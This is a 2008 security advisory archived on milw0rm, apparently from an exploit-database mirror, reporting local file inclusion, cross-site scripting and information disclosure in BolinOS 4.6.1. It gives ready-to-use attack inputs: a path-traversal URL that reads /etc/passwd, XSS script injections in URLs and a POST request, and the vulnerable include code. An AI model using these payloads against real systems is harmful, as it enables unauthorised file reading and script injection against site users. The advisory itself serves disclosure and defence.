477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
136 lines
4.2 KiB
Text
Executable file
136 lines
4.2 KiB
Text
Executable file
Digital Security Research Group [DSecRG] Advisory #DSECRG-08-022
|
|
|
|
|
|
Application: BolinOS
|
|
Versions Affected: 4.6.1
|
|
Vendor URL: http://www.bolinos.com
|
|
Bugs: Local File Include,Multiple XSS, System information disclosure
|
|
Exploits: YES
|
|
Reported: 13.03.2008
|
|
Second report: 18.03.2008
|
|
Vendor response: none
|
|
Solution: none
|
|
Date of Public Advisory: 25.03.2008
|
|
Authors: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)
|
|
|
|
|
|
|
|
Description
|
|
***********
|
|
|
|
BolinOS system has multiple security vulnerabilities:
|
|
|
|
1. Local File Include
|
|
2. Multiple Linked XSS vulnerabilities
|
|
3. Multiple XSS in POST
|
|
4. System information disclosure
|
|
|
|
|
|
|
|
Details
|
|
*******
|
|
|
|
1. Local File Include vulnerability found in system/_b/contentFiles/gbincluder.php
|
|
|
|
|
|
Code
|
|
****
|
|
#################################################
|
|
|
|
$actionpagetoinclude=$_GET["_bFileToInclude"];
|
|
if($actionpagetoinclude!="" && @file_exists(gBRootPath."/$actionpagetoinclude")){
|
|
@include(gBRootPath."/$actionpagetoinclude");
|
|
}
|
|
else{
|
|
echo "NO FILE";
|
|
}
|
|
|
|
#################################################
|
|
|
|
Example:
|
|
|
|
http://[server]/[installdir]/system/_b/contentFiles/gbincluder.php?_bFileToInclude=../../../../../../../../../../../../../etc/passwd
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
|
|
2. Multiple linked XSS vulnerabilities found.
|
|
|
|
2.1 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBImageViewer.php
|
|
|
|
Attacker can inject XSS in GET parameter "url"
|
|
|
|
Example:
|
|
|
|
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBImageViewer.php?url=<script>alert('DSecRG XSS')</script>
|
|
|
|
|
|
2.2 Linked XSS vulnerability found in page /system/actionspages/_b/contentFiles/gBselectorContents.php
|
|
|
|
Attacker can inject XSS in GET parameter "ForEditor".
|
|
|
|
Example:
|
|
|
|
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBselectorContents.php?ForEditor='><IMG%20SRC="javascript:alert('DSecRG XSS')">
|
|
|
|
|
|
2.3 Linked XSS vulnerabilities found in following pages:
|
|
|
|
/system/actionspages/_b/contentFiles/gBLoginPage.php
|
|
/system/actionspages/_b/contentFiles/gBPassword.php
|
|
|
|
Attacker can inject XSS script in URL
|
|
|
|
Example:
|
|
|
|
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBLoginPage.php/"><script>alert('DSecRG XSS')</script>
|
|
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBPassword.php/"><script>alert('DSecRG XSS')</script>
|
|
|
|
---------------------------------------------------------------------
|
|
|
|
|
|
3. Multiple XSS in POST vulnerabilities, attacker can inject XSS in POST parameter.
|
|
|
|
3.1 Vulnerability found in script /system/actionspages/_b/contentFiles/gBLoginPage.php
|
|
|
|
POST parameter "formlogin".
|
|
|
|
Example:
|
|
|
|
POST /bolinos/system/actionspages/_b/contentFiles/gBLoginPage.php?bAddress=bolinos.sessions HTTP/1.0
|
|
Content-Length: 81
|
|
Content-Type: application/x-www-form-urlencoded
|
|
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; DS; .NET CLR 2.0.50727)
|
|
|
|
formlogin=%27><img%20src%3d%22javascript:alert(%27DSecRG%20XSS%27)%22>&BtLogin.x=
|
|
|
|
|
|
3.2 Vulnerability found in page /help/index.php
|
|
|
|
POST parameter "bolini_searchengine46Search".
|
|
|
|
Example:
|
|
|
|
bolini_searchengine46Search = '><IMG SRC=javascript:alert("DSecRG XSS")>
|
|
|
|
--------------------------------------------------------------------
|
|
|
|
|
|
4. System information disclosure
|
|
|
|
Non-authentication user can access phpinfo() page.
|
|
|
|
http://[server]/[installdir]/system/actionspages/_b/contentFiles/gBphpInfo.php
|
|
|
|
|
|
|
|
About
|
|
*****
|
|
|
|
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
|
|
|
|
|
|
Contact: research [at] dsec [dot] ru
|
|
http://www.dsec.ru (in Russian)
|
|
|
|
# milw0rm.com [2008-03-25]
|